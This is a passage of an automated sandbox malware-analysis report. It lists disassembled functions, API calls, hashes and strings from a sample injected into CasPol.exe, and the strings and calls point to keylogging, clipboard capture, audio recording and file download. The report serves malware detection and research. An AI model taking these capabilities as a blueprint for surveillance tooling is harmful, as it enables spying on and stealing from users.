                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3FF0A4B1B043155BD700EE758C51A6B6ADAEBD4364F10043FF60887281EFB8DC468B84
                                                                                                                                                                                                  Function 00438FB1 Relevance: 6.0, APIs: 4, Instructions: 14COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • ___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00438FB1
                                                                                                                                                                                                  • ___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00438FB6
                                                                                                                                                                                                  • ___vcrt_initialize_locks.LIBVCRUNTIME ref: 00438FBB
                                                                                                                                                                                                    • Part of subcall function 0043A4BA: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0043A4CB
                                                                                                                                                                                                  • ___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00438FD0
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1761009282-0
                                                                                                                                                                                                  • Opcode ID: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                                                                                                                                                                                                  • Instruction ID: 3a6c9073cd349407f79861cc5a63413a30b4b1af88e8d748f4708d1390bfb410
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 37419d0d218480942dadea5656795116f0d18a982b1fc86bcd770d00ce79fbb1
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8DC04C44080381552C50B6B2110B2AF83521C7E38CF9074DFBDD1579474D5D052F553F
                                                                                                                                                                                                  Function 00442CAD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • __startOneArgErrorHandling.LIBCMT ref: 00442D3D
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ErrorHandling__start
                                                                                                                                                                                                  • String ID: pow
                                                                                                                                                                                                  • API String ID: 3213639722-2276729525
                                                                                                                                                                                                  • Opcode ID: ba08a0cb9aac2d09af1d9c353536d0054585ad8ee24c5cded07915036f7ff901
                                                                                                                                                                                                  • Instruction ID: 2abd0c7c8e13d4a8cd2c8141c546921d868ac315c0d238e81b652aa6ec7fde8b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: ba08a0cb9aac2d09af1d9c353536d0054585ad8ee24c5cded07915036f7ff901
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 92515AE1E0460296FB167714CE4137B6794AB50741F70497BF0D6823EAEA7C8C859B4F
                                                                                                                                                                                                  Function 100063F0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _free.LIBCMT ref: 1000655C
                                                                                                                                                                                                    • Part of subcall function 100062BC: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 100062BE
                                                                                                                                                                                                    • Part of subcall function 100062BC: GetCurrentProcess.KERNEL32(C0000417), ref: 100062E0
                                                                                                                                                                                                    • Part of subcall function 100062BC: TerminateProcess.KERNEL32(00000000), ref: 100062E7
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Process$CurrentFeaturePresentProcessorTerminate_free
                                                                                                                                                                                                  • String ID: *?$.
                                                                                                                                                                                                  • API String ID: 2667617558-3972193922
                                                                                                                                                                                                  • Opcode ID: 45d8a64586b327f8eab7ad145b3c87db09c0e9126064bd79fff12b51639589bd
                                                                                                                                                                                                  • Instruction ID: 55016225c6cf3c2ad74d5bf99958d96f24b8fe448c0df4d83e2be8db5664878a
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 45d8a64586b327f8eab7ad145b3c87db09c0e9126064bd79fff12b51639589bd
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2D519475E0060A9FEB14CFA8CC81AADB7F6FF4C394F258169E854E7349D635AE018B50
                                                                                                                                                                                                  Function 00418ACD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • SHCreateMemStream.SHLWAPI(00000000,00000000), ref: 00418AF9
                                                                                                                                                                                                    • Part of subcall function 00418691: GdipLoadImageFromStream.GDIPLUS(?,?,?,00418B0C,00000000,?,?,?,?,00000000), ref: 004186A5
                                                                                                                                                                                                  • SHCreateMemStream.SHLWAPI(00000000), ref: 00418B46
                                                                                                                                                                                                    • Part of subcall function 00418706: GdipSaveImageToStream.GDIPLUS(?,?,?,?,00000000,00418B62,00000000,?,?), ref: 00418718
                                                                                                                                                                                                    • Part of subcall function 004186B4: GdipDisposeImage.GDIPLUS(?,00418BBD), ref: 004186BD
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Stream$GdipImage$Create$DisposeFromLoadSave
                                                                                                                                                                                                  • String ID: image/jpeg
                                                                                                                                                                                                  • API String ID: 1291196975-3785015651
                                                                                                                                                                                                  • Opcode ID: 4c0baae4c0e9e9d16754b7ecd539cceb7e47a4de3878ce98d6afbfe1b810872b
                                                                                                                                                                                                  • Instruction ID: 4d0b5c8bb5c89928ccad9adfa1773eea8e0f3015d74a4b244142dc53e7d0f70c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 4c0baae4c0e9e9d16754b7ecd539cceb7e47a4de3878ce98d6afbfe1b810872b
                                                                                                                                                                                                  • Instruction Fuzzy Hash: B5316D71604300AFC301EF65C884DAFBBE9EF8A304F00496EF985A7251DB7999048BA6
                                                                                                                                                                                                  Function 0040B783 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00434801: __onexit.LIBCMT ref: 00434807
                                                                                                                                                                                                  • __Init_thread_footer.LIBCMT ref: 0040B7D2
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Init_thread_footer__onexit
                                                                                                                                                                                                  • String ID: [End of clipboard]$[Text copied to clipboard]
                                                                                                                                                                                                  • API String ID: 1881088180-3686566968
                                                                                                                                                                                                  • Opcode ID: bc6d6fd555eb74fb66702924759b933dd0787dde42f12c75391812bd244e7e16
                                                                                                                                                                                                  • Instruction ID: 844f446031992ee5170c212df839aebd4a436c67f2956c9e8fe8aff684c3a130
                                                                                                                                                                                                  • Opcode Fuzzy Hash: bc6d6fd555eb74fb66702924759b933dd0787dde42f12c75391812bd244e7e16
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 30217131A102198ACB14FBA6D8929EDB375AF54318F10443FE505771D2EF786D4ACA8C
                                                                                                                                                                                                  Function 00451BB7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00451E12,?,00000050,?,?,?,?,?), ref: 00451C92
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID: ACP$OCP
                                                                                                                                                                                                  • API String ID: 0-711371036
                                                                                                                                                                                                  • Opcode ID: 28d359b86f53a769e50845c8979a9c95ba506d3f4f520eddc938968d94c37ac1
                                                                                                                                                                                                  • Instruction ID: 09b953eaa346ea86c897215e5a2a15a508f8bcb16f9b984b1dadcb699cf7d301
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 28d359b86f53a769e50845c8979a9c95ba506d3f4f520eddc938968d94c37ac1
                                                                                                                                                                                                  • Instruction Fuzzy Hash: E821D862A80204A6DB36CF14C941BAB7266DB54B13F568426ED0AD7322F73BED45C35C
                                                                                                                                                                                                  Function 00418BCA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 75COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • SHCreateMemStream.SHLWAPI(00000000,00000000), ref: 00418BE5
                                                                                                                                                                                                    • Part of subcall function 00418691: GdipLoadImageFromStream.GDIPLUS(?,?,?,00418B0C,00000000,?,?,?,?,00000000), ref: 004186A5
                                                                                                                                                                                                  • SHCreateMemStream.SHLWAPI(00000000,00000000), ref: 00418C0A
                                                                                                                                                                                                    • Part of subcall function 00418706: GdipSaveImageToStream.GDIPLUS(?,?,?,?,00000000,00418B62,00000000,?,?), ref: 00418718
                                                                                                                                                                                                    • Part of subcall function 004186B4: GdipDisposeImage.GDIPLUS(?,00418BBD), ref: 004186BD
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Stream$GdipImage$Create$DisposeFromLoadSave
                                                                                                                                                                                                  • String ID: image/png
                                                                                                                                                                                                  • API String ID: 1291196975-2966254431
                                                                                                                                                                                                  • Opcode ID: 7a889f2deb852e9dca1466351ef9d9e2129164c9164a110dc5b22d8ef1cd3f8f
                                                                                                                                                                                                  • Instruction ID: 3c300d9a249dbea914adbc87700f03e6b767f6cab6163cd9bde1f728fb98d86d
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7a889f2deb852e9dca1466351ef9d9e2129164c9164a110dc5b22d8ef1cd3f8f
                                                                                                                                                                                                  • Instruction Fuzzy Hash: ED219071204211AFC701AB61CC88CBFBBACEFCA754F10052EF54693261DB399955CBA6
                                                                                                                                                                                                  Function 00404FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67timeCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415D04,?,00000001,0000004C,00000000), ref: 00405030
                                                                                                                                                                                                    • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                                                                                                                                                                  • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415D04,?,00000001,0000004C,00000000), ref: 00405087
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  • KeepAlive | Enabled | Timeout: , xrefs: 0040501F
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: LocalTime
                                                                                                                                                                                                  • String ID: KeepAlive | Enabled | Timeout:
                                                                                                                                                                                                  • API String ID: 481472006-1507639952
                                                                                                                                                                                                  • Opcode ID: 1183f192522e4df64eb5f92206734bd19d1223fd61879706f910d0ae6d0fd28e
                                                                                                                                                                                                  • Instruction ID: e3b05ee6596aa2f5bef7afedc99ae4e94a3de8d8e2082a6dce2ef35069f0368d
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1183f192522e4df64eb5f92206734bd19d1223fd61879706f910d0ae6d0fd28e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8D2104719107806BD700B736980A76F7B64E751308F44097EE8491B2E2EB7D5A88CBEF
                                                                                                                                                                                                  Function 00416676 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62sleepfilenetworkCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • Sleep.KERNEL32 ref: 0041667B
                                                                                                                                                                                                  • URLDownloadToFileW.URLMON(00000000,00000000,00000002,00000000,00000000), ref: 004166DD
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: DownloadFileSleep
                                                                                                                                                                                                  • String ID: !D@
                                                                                                                                                                                                  • API String ID: 1931167962-604454484
                                                                                                                                                                                                  • Opcode ID: 3ca3873f216e6dec9f51bfba94c2029cd2f9f9141924ab544fb725e976fd1afb
                                                                                                                                                                                                  • Instruction ID: 05e88009b36717a37a8ab5ea381c0ce1ab0270976c353b8abb87c8adb32aa340
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3ca3873f216e6dec9f51bfba94c2029cd2f9f9141924ab544fb725e976fd1afb
                                                                                                                                                                                                  • Instruction Fuzzy Hash: F21142716083029AC614FF72D8969AE77A4AF50348F400C7FF546531E2EE3C9949C65A
                                                                                                                                                                                                  Function 100016AA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _strlen
                                                                                                                                                                                                  • String ID: : $Se.
                                                                                                                                                                                                  • API String ID: 4218353326-4089948878
                                                                                                                                                                                                  • Opcode ID: a70abbbd33418fa47f4ed48ac4096c545584c77cf093be3414735b4e2c88b945
                                                                                                                                                                                                  • Instruction ID: 66f447a9efa091531784e06c0e565222335d100d85517175c1dac28435e0d9bb
                                                                                                                                                                                                  • Opcode Fuzzy Hash: a70abbbd33418fa47f4ed48ac4096c545584c77cf093be3414735b4e2c88b945
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2F11E7B5904249AEDB11DFA8D841BDEFBFCEF09244F104056E545E7252E6706B02C765
                                                                                                                                                                                                  Function 0041B580 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59timeCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: LocalTime
                                                                                                                                                                                                  • String ID: | $%02i:%02i:%02i:%03i
                                                                                                                                                                                                  • API String ID: 481472006-2430845779
                                                                                                                                                                                                  • Opcode ID: 32400ea054816a1706cfb277acda767debc223c00efd77583625c389be65a1fa
                                                                                                                                                                                                  • Instruction ID: 036da7e0cd4114b6fa9428aab3af546923e8b827a5fb64715830670d2b1b9b5a
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 32400ea054816a1706cfb277acda767debc223c00efd77583625c389be65a1fa
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 091190714082455AC304FB62D8519FFB3E9AB84348F50093FF88AA21E1EF3CDA45C69E
                                                                                                                                                                                                  Function 0041ADA8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • PathFileExistsW.SHLWAPI(00000000), ref: 0041ADCD
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ExistsFilePath
                                                                                                                                                                                                  • String ID: alarm.wav$hYG
                                                                                                                                                                                                  • API String ID: 1174141254-2782910960
                                                                                                                                                                                                  • Opcode ID: 58920c20f6ffe846cac49dfe65e500d8b6f0696205a2e0982ff2d29c29e4706d
                                                                                                                                                                                                  • Instruction ID: 4122455f09fb97d0238bc6f6df8f07100adf7eded08faacdf9dae369850c3b42
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 58920c20f6ffe846cac49dfe65e500d8b6f0696205a2e0982ff2d29c29e4706d
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6401B57078831156CA04F77688166EE77959B80718F00847FF64A162E2EFBC9E59C6CF
                                                                                                                                                                                                  Function 0040B08C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0040B19F: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B1AD
                                                                                                                                                                                                    • Part of subcall function 0040B19F: wsprintfW.USER32 ref: 0040B22E
                                                                                                                                                                                                    • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                                                                                                                                                                  • CloseHandle.KERNEL32(?), ref: 0040B0EF
                                                                                                                                                                                                  • UnhookWindowsHookEx.USER32 ref: 0040B102
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                                                                                                                                                                                                  • String ID: Online Keylogger Stopped
                                                                                                                                                                                                  • API String ID: 1623830855-1496645233
                                                                                                                                                                                                  • Opcode ID: 58fc78273637d3a7085363245c614971f3a5c921d027ed369f39b2d39b95462a
                                                                                                                                                                                                  • Instruction ID: 2c7fc3a8f12b1f8c565497f75251163d8124a4eac963031352a4caf2a1bdec21
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 58fc78273637d3a7085363245c614971f3a5c921d027ed369f39b2d39b95462a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6F01F530600610ABD7217B35C81B7BE7B729B41304F4004BFE982265C2EBB91856C7DE
                                                                                                                                                                                                  Function 10001EDE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 10002903
                                                                                                                                                                                                    • Part of subcall function 100035D2: RaiseException.KERNEL32(?,?,?,10002925,00000000,00000000,00000000,?,?,?,?,?,10002925,?,100121B8), ref: 10003632
                                                                                                                                                                                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 10002920
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Exception@8Throw$ExceptionRaise
                                                                                                                                                                                                  • String ID: Unknown exception
                                                                                                                                                                                                  • API String ID: 3476068407-410509341
                                                                                                                                                                                                  • Opcode ID: 00f05d2547b3034e4c7bbe2eae49a616f435d37e9c126e5e725cfb9fdfb6d2bb
                                                                                                                                                                                                  • Instruction ID: 696891806b75a506f07e96a947ab79166ff1ea0d2f17bc9dac180a151cc952bd
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 00f05d2547b3034e4c7bbe2eae49a616f435d37e9c126e5e725cfb9fdfb6d2bb
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2BF0A47890420D77AB04E6E5EC4599D77ACDB006D0F508161FD1496499EF31FA658690
                                                                                                                                                                                                  Function 004017EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • waveInPrepareHeader.WINMM(007F8E10,00000020,?), ref: 00401849
                                                                                                                                                                                                  • waveInAddBuffer.WINMM(007F8E10,00000020), ref: 0040185F
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: wave$BufferHeaderPrepare
                                                                                                                                                                                                  • String ID: XMG
                                                                                                                                                                                                  • API String ID: 2315374483-813777761
                                                                                                                                                                                                  • Opcode ID: 84db4ebe13300bab6e2e85a4a45c37fcad2fa82ad9d185d6556c2711ca00a3b1
                                                                                                                                                                                                  • Instruction ID: 6f1d19605e244f5f119b09d66236675289974365e05be472c2159163c6862827
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 84db4ebe13300bab6e2e85a4a45c37fcad2fa82ad9d185d6556c2711ca00a3b1
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D3016D71700301AFD7209F75EC48969BBA9FB89355701413AF409D3762EB759C90CBA8
                                                                                                                                                                                                  Function 00448B66 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • IsValidLocale.KERNEL32(00000000,kKD,00000000,00000001,?,?,00444B6B,?,?,?,?,00000004), ref: 00448BB2
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
